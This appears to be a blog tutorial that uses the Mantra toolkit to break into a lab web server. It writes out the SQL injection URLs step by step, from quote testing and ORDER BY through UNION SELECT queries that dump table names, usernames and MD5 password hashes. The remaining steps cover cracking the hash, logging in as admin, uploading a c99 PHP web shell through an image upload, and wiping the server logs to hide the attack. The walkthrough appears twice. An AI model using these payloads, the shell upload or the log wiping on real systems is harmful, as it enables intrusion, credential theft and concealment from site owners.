Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUwy3FuwacJSQuoGL9ymx44jtzB66SAYjJdl1WPtKAbwtQ8CThpK2PKM0NGGXgGgla6m4IIZqbKywM3nYaA4Y2JpCLLpm3s4xewk1lAd2gQjh_xZteDrclg4RGrDWMXjgs3Ozjz-oVQ8vyUCMJQBihZeRjGSFF11RBKErkHlmVl2Y8=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJKShucrQtfgjYVYthjr-6h35CQAmme_CYk74nUyz9k8Y4IgG5-Wqwo0td2RTgGXC1KIGv9jSVIF15fs9aU5Gj31yaXLP9_5RAfe5a5BI0OS6AobDAN8YAQXklI3xMWtH53HBkE37BB5WZg3UkaERVfDumBYmyaULBQG22pwRXwUWWcw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqn9mE1GyR1yOOid_TYYsTST2hQxEgdq7AFY8IIU9htXfT1MLP_2P7VhhbGe7mbhpPeoXvlfnPfIhfNuHzJs_EZzPLO_zhyYqJn7XxuvsWaC8OBSF4QSFZRfrAF9r8I912qCWQSr4-Oi9rHLZfVgNOniIrCna3Pam3eH2V4keyLo1BMw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tymzrTM_9IQvINF_mly3NH6Jug1VxzA5P49vvWPPikUa66TkVMphulUIgpLqzaZ6gKNZh99RN7aTaXJS-Y5am00UvTzm8msi7BiXXj-LE6tbWg4eoHQCFgnZthFLvWdWjv0kHwqTWLuFyi7fLtJwBbdPTC9oON6vXe1Pl-ArxjEG4K0Q=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sLZOhBHHu7AnNvTG9LRZDuWOFIVsDOkb8hULoOS0JZ48xnFcXrAiJXhRviLr4gRsltHFTAlcT4kGCehDsjqij9gqlEayGxf2VRoONX9x0vjqGYnF1QiJYzp-vBvD9VLmQy0UcY6udLE3oWFI8UyLULd-8hw2LdZYkmiNcQt5_YxSGI0w=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uaKt9sX9UlCbkUqau84GaPbsmqwkJ2S8zreABLjVUAxgeQIirwZgmzHhhO-vxaGGJ457lKqlnrBwSOb5LnjQYEGZW0OWpBmS7x3_jmQrTQCsttprwJH6_PU21604TpQE14Lia_3okTo9SX90SHSkYP8HDMl7IQ042Es1jHl1Up9YrM=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t6fb0wq6DB4dmDeHxefKcAo1n3jaL2yLxVBi1fihkvs1tFD58rBW9JIkNKF0EOXFgC8j8qfVrdxuRNYN0M6_sMqTG24_3dDl306YXkYHFoRRsmMv6gwjvh85sYJ1m3-gk7OGOiPGhxfrjTHLtkkqgRC2NbDdPJ3v2_ewGvbgP3AfeYNu8=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v3jCU-HlDvnKaiHktCR6yuLIALKMfGlrsTcQf3k_uYdrsibpeGEn4qzfJnu-vpi3hBhMMYdHQhUaCQ83ZkEvL5T2F7AE9xqVejtnSSLmHzKHiq9k7oA7zypU27GS7T8cC9rmi2VEj10n5dt4f9g2zaFVmWkeE95_fid_hd7EAFXdWEf2E=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_va-S22JYdGZGSuruC6VIFx2yhWOu4JWdC_qdr0pGzZ9qCG1fml7MwoJEq1l4PscRmJZIRp8retDBpXni764UcKKV33Al0vO6f21ssu-ld4uSiv67PZNlH7UA9SPEPX2Dtx0jgIgXmYWHVXSaTrfIQmFKXa9Z8DlzWKRs6rGK0KfFBU9q4=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uA270k--lee8w6yt8p_xnf8v3v1CUzx8eU2rOzhXb_PUQeSQP8nJblHIktRbnrJo6AJHy5I_yIf6GcSh7OWO3Lro60V0Le5-6lGqDGSZRdCGFw6QN6BQBMt6B4sotCKgOxGDvBN8VeXGGJKdZqhBgUD7Zd8n88WdrZs12FF0liXqBituI=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vwZBYZ-zhdu7jW3crLJ9ewrkzr65GFAMaoGXlU_GeGQrsFbzwm-fKqjeBig9PJvxUBOaWzqGfTvtT03n9WDOFIpc4rSvdYQWdZ-TS6G7TZuY4eXQvP79RarXwnqRvlqeBNu3m4pru3UUBx1u8MRDHQjZE5EDTctsa_7l_B8J2AhR5TwA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQn9_b2loVe6U2CUdOyCMyLK5jRpZUWCzU4GTd32_yMZiuTPGz_aN88w7Mw88NwjWiAPX_rz0YAYu_Xm8LFabCNesRko5ldR6OUYKQmQPd_PUzxv33n2qBbUDHGDmDLObVSVr2l2bZ6G6lYhfonmlqtnOsM_xTozL5Mq6ki-2-Vs_ILJA=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1A9DJ8Z_5-KnUzhuhwCSPFkqXrmk6HW18I9GehGGblbXL0jIN-fs_V0F29n8hY1arFuFFk1bsCx3de3-RwNAZvJHXjpa2MywMsgNpLEUURqIv2R3-cYTTAx4jYLcKAQNAv0E2KE9McHJ0Mrn2ILMYkbB8_FAoFIiB5Hu7yRpj67SwF_A=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uJec_imPlGk0wjg7BgNFD4xurnQPVKBjuRf5r9dQ3rlFelUBh-fXVpw6EROyLNcphfe42vjAqOxUuFFoqUc4bHaKER9yt4M24Izt4smLQTCeREZNrXF6PPaxeeStX1u1doeKiv4b_F2zTA-0CF3Sw9fT6kIz68zwdjhq71zsbyHmQ0hg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzD_Ef6SPT5It83Qaw89h52YQYYNHxJPKS7AF8FnXOp7WPUy3RF4B6_blfMLo722Ezs9IUoJZhqx_cySzW5HJGrH5pwQyrYB39yYLxE7TnY33-K2t68sAcLRDFQD4TN4Y8Y_6ffL9lfghPzWqrgtV2PEy4mxRrb9fW-A9l38UEWkSNZg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tnkvTj0ohET138VCgAy-1LWt7dLN8dVepiUvyj9B_5Jb2wCW3076X4OxZw2HRhgvpeCywE6LBCd_Yas27avUNdWLLqhm6RQuNiJ-syPaD9Mn33tuOshj9w9aidxpjkFeRFyKW1XuDUC2FPIvACflfaZXoIHkaIObWepwfr-hB33_I3-Nk=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v3tlZL90lUIE19J6RpX5bRPuG1_oNyQpEs4ctI5K7ik1RB5qZBR3GfpNjBCRfjFnz6ebIrdHZ-pqBkKZ09IYdThtW2SxljOC-BOxjj1y7rck1_0T7DhDPyxh6AMyKwqwxjd4H4oET6d-gOabbF7ML4Lizcqn_N4wWLwa6qOlaFQHjB5zA=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sR9cezuZLT4JPOpQQtLBZEYNEH_qbovRMkDXvmBYFue5vCBLn2X1DMYf1iiNeHHZY691R8bUQLCaC6zrHe4CDAJvVa1m7lz8IuXoaKoOCbt8con7RqtSX9NZyvaIOaHoRAIFfU9T5FVTG8k7Yyp6qLsmqNpYTCypLSlyoDVaReV2GcXDg=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIrmWJTASIt-tSS81s9k0zvZGwiYHBoely1vBZNUpWXhAUk5Pw16cWwomdMWvFrlArci_kfSawMgXCV7VkWsje8AW_kR6uDmszcW2HU0-3zt77TzO8T3hOquMx3hkITPDYREsTcb1YiRpl3WClIan-ZB8KRlU_YH3idYrsL9BWQdNyOI0=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v4Ir8wnbZTFZwLyQz7CUYetCsbwdZCXNh9ieAEauJTi6fYtO3aRqgKKVp7ky3-JHWgsbN20hsVaYngOjjq03UlduHEgNb96RJAzyO78fpws-FbOGP8kGw7jhP383fiAKF5YOu6618F1LgwBPQ5UzyN4zolsUV7AK9lCv6P1yw9Uv5oySo=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_um1QyCrGQAB1WMiRhcR8QYp0YSVlWwoB2EicVwwzg9Zd52fLgpdv3UuQdlygbIZB7dUr2PnAaw6MT-0XA9bDy4PggWf1MP6ba7_x0IEjDtPil3mzQb2ZkVWKXMps0TosRxhj2SKKQHBgqr1ArgIQcfBDuFrgMZtp56osQy9y1HCxIw1eA=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_va9h61t216wOQvJwdbRKP3VqwKYs9ZUXxLvGmO9NnZ_W2OFVpmrU4GDPDN3HTSzqc2CQD4MWMYe5zsgI7F9PH4R6GqlPAllZOQtg7vQlgkQKTFvEK7kVghSboOcgB4RywWEXzswYbWLtjsRMDEoKnGgbM9l8gWOu4JVGqE-ywMRp0kino=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uF1UFp6yHBddE2AlEs5cysICFFtpQUydVOI7lAXp5rYzT6qIOKMTfOiAUWTP-o8OFxwafiIO7qzHjtg6S_fi8X5Fe-zv4y9SzmywXph__8dWMFVFyJL0ShTAdqlW0TCGYQyr_UVxVfNZTG4-lD6uhtLbkhZGwqdE7y9uWbcL0wVEZCT4A=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uT7KqAFsnfLboW_Izwr2ZbYP9efUwp53T87eMpzqOprDCHaEWvpeG4guyLqs0jvYKtvlfg2NV-2UQq3taju2yF50pX9hWf2ldq8Uq6fD_QBhms8EnqhoGmpugCJhXnfloGQGUKWvYPDxvKLIiQ92GJxySxN1XFjcpF1c9wrdwW0A2x974=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tB06_v-IfMuWyBigQVKeLejnzEd9ERvqF5_1ad_jYHQzxao0zAP_52o2Yk7ZKnQfiVe2QrGqOPh9bW6iirsyJUd3uBRBi_dEmk9tkLXpx6TmIFsa2U9Hf9dtuX-Hp8rUQBWooWil6A-DU_AoFKvzlzwX5nPbJg-1VRy4luR2OT1Bpmqg=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tp582qzoOZtCL9hgPfuLqpQ_J2rIFYEi0BefNQyiJC_6lQluo5XNHFFxh15Nkb2PLZYIFGCQwNspz7iasYs-x47fK0uNuqEo58uY74V7k1SSnoFU_Jb6RmFsoxUP2sS5x-r63Qyn4I04xbcZKmRnfScxBWbtM-uF6kVYHKmeCgKqFQ5g=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sD3znssWsZf-o2uC8ffQMeaNECUMnFPDwDk7Eq3kJYnn4vnkUpqx6t-bBC0yuom48JYbhbKojceoyoXAVuGA079ygSGZ8sTvzmZurv7rtWohe-MSIgBm4EjHbCsQstHymCdCawiv0d-fF75X_IDkGHuejuiaWHcFAtmOWJ5qukAo--OJo=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPu6p9tAhPT-MdANFYKIHbv2L14j91baTq8zBftzWDlmIwtPGR2o6XsbxndltzIjMntJ96fJWrOJc8ejD6kcM6K1lxQbDCWxzcRGBdTwkk_2skvbppJ2zZiHz01Hvjm1dmeZbQMPVNzfyNg6XHiC4Zk6jPS4XD_Bdww0P5dPURDjM3WEk=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tF38t4e9Xf5WAVnLAJlOxmmipzRy1EuNsi-oRCF1R15A5zV2QBBFONZQZrlSGY1rGaejFqMl4KoQ5xmencUFHh8eI6dJTSi-po7JoW8waQmDDAjHeJ4h2Nh_pNGL5UB6AG2y265F5x3fPRtWhzv6C2EM-V6t7Vh9LuW17V04rkQbHLCA=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skdMJSVjqXmkHJaD5ayznSxsj5x-jbhhHM7UXaD_P-GSwwlBax1fwvV1xBPL0pUP1zQAoLYu67jT9leGrqB9xIMz0tHc3TwJBnE5OQo6lmeA_YxzgA6scCOFuUxQ43C-GnkZGv3dmuae4x77nSWjdJFVvxy_tR78fzPJYt_ZLmTZXvn9o=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWDLBGQBTPzU7ASccm9StuC1QyZ_CZSCqt5q1ZTm65VTS08HHzghOCKOk28B5ktXUFXQud8g8Ot3xubeV_FHf1Ks0J4T1tmxnCdKcO-6IrhA8J_Rl6c85km_LlEwvot2IYwu76thAvK5b05o5we786WEHnAwE0oIn6onnUa1M02uuYpMs=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sj9sEDMnP-oriInhrUIUluMfCG0vfb014gnOWKtoobcw9symmk7rk7Q_8pTY4-aNPJYE48dpMTTAGIIuFK5ypJMqMbpHpTYDqq5b7AW8m4FEpQpKTZDGFe6gB7lSWURd9U_Oww_tdX6Rr7od23_NTHJM51JzsMbGO3FOGfUFXAb0jdBy4=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urLeYmL-XfyxyBkIKKXqBvjBEG4VT3NOnKxnXMTJDzpR5OyoM1Ke3jtYeNgM83qnZ2kwB5pKay-FolmXghKPrx6qNqB63PpQX7uCk6_dD0ILugl9kaKZ50LlMx8pKZaKIO4codmzWyX-UPD3e18sXXxfbUCd8PFBlK6hdugDtWduocr_A=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vEsAUWMhHJBs-nF9DhxZozRC3Druzu-YU6paGKUUOoknn0SjYH86NlTB1_MbjWj4vTCxWAGZo1fTWSUVC1F1FLIaFWnVtvKSsu1UrvwWMs2fgHqv3FC1ON8uJ5vo4A9YFX4bVhjez_jlH2Pr7vT3LyU6X6w2JhPKbcx71N3izbXK-Ksxw=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQY2esRjVCaOikDaRO-xlQrXmtgKgGMtc2kC45CzRlMvnS7bWhzgBvWOXNst2QXMXh4LOOLB8TLZb10V_XagKj7TrDIMKmu3r6mdvGtKcFs24hOp3aoNPLa9qIHA8paAxOYp1bBy7wZi3Ei3LUYU-PcZMB1FPzA7MIql6Y2Zex9D8lNac=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sVTg8YaQhBCgAyXmuJDIHfl2fDb6ZSgVgnazyisJJQa1Sd_SqcZNNdZxrMhjZJRaxvggjsWFJvpaSzODVmFfnm2glsRgsgEGtSP11HpkqSR96bQuLYwIEgJUbBy0DMgyjiVnZ17SYWrgbXfZf6zGP2dqujo6ZicMwwO_qg1QZWzJTsSgY=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vupA2sMkDh5FvdA9xBORZQaWbsC80KkRBqdIsdSa0tcuKxgdVc7woUHlboKuMVgNzSqJCQzRVkfGli5UGJKyXafqwMTu5dT6NLUphX3PqvbYNFPYogv1VJa8FpXpJXVeZokZkInsTa_gLeI1TAyqEelksn-iQkv3Q-kObv83PwjLQ7Bw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v53j5MVgdkm94HE-rFwzA-_52TLUIj_KlOl4kOCTVDXuERgGEQge13Phn_CQ9TG6pVERML1ZR3w-MsgYps9f5t29yj2SXBGWnEm0GIADXUJu1RS8wvpTvEMA2zMc3COJFzDXBYhWMkEwbDoQL7LwLjXmUw4MvoNlAiifnqrR_OyckXqt8=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVr3NY6GWbY7jD-zY8yHUGy__-JjzNAb2nA1l6Y-qltdkM3PV42kRp4Gog4va3SSTuRhh18v3Otg7y_b1w_C72-NO2WZcsgRpyD4MVq-aNCowKXI-WHSCQO65IcSPkzU90gHgYzT9rxN8NCa4f0GcNRmRRUBgE7JM7WocomabFhIIPww=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_smDeUt4oBOSHtuWgWHmPcXUyMuCOwm4XOzFX-2UjVqT6ZTdj_3vq7sOhPeIlJxWiyE3jDD9nsa8ArDtVCotpk_CelI5smKW3EKA5aE31V9LHIy7j9KSCPdVVt_y199J64wnkpEHuk0nGfQVoRJ7yNlY1Z7hRGmm_H7EwV9qwJAZNEFbSE=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgOGJZCx5xGGGCdZGUOJ7kgYDISf5yaHgzjydkFeltmRYEoJwoyvokpK1b9l519kEW-RELUwab5AyYUmVkk-PJQTT83HBkSBV0TnMc_zOgH80TaZAaq7ZQD0ufIFQYjLc-7ZSixTWxmVJWDWH3I1DINAxPg5YyJESl0xroEs1E3pCTVDA=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vktd6xNwG3hPlky8hAK0sjFdm5ZORFAaKnoRddQo-BmdCX0UY11aaDmgO-kwQAZNftj0jjvbvRdfaCBv8V5dLJV_io071zbwKih3rePcLhaEw6Tqnox04vYU9iGcyCj2wT_ypX_hYv3SBDoxx13kxQnvw7mF0F7FAMjUkTf5LOymc01b0=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVRwQcZI5tm52DqTrWp-NOVRFV76x1HXQcEPXKo20x0BUEeZA20KTAle5zrKIyBTrY_NLzhSMTS-0zbUM4ezqrOGcvqjM9CyGkNmdVZqZOu_QeraFXv5Wih_nkJ-nWDcqQBXjBrtjpKi7NQ2VDrpeoqmzcLxXqvBPfoe77ndVUR2wQd3I=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t1SxbjOf-vhOMyiYtkPRNEWP0-ntwKJ-n3t2QPlWzi5ULCL0i_9hFG0I7kNfs_FzMBUlJvpbPmrSQrJglxhdpnt76Ptc3oPDRzBYtj-XCuR45ogpiqiKlwRCJnPzfVr55ypBTaeJbJ-yZdBMR8BNXTFHK55CI6HbvD-ugAqfUTOZ9aIw=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uGS-p3t4rIWyPB3pNImYGbLpu7oTLr9H0Mkw4YK_72PJkO8gDuUclvtVZqYrwfYcBCSUi1mFx-HB4V_cK7s1Kb8fFu-YnVsnzR8CpP3mBfYeBMSTkBf3fAU7Lq37PDJpf2zVXZG9eCl9_68rQJyv0inmwEWAkJn7iQ2YlDve6LKdxQv94=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete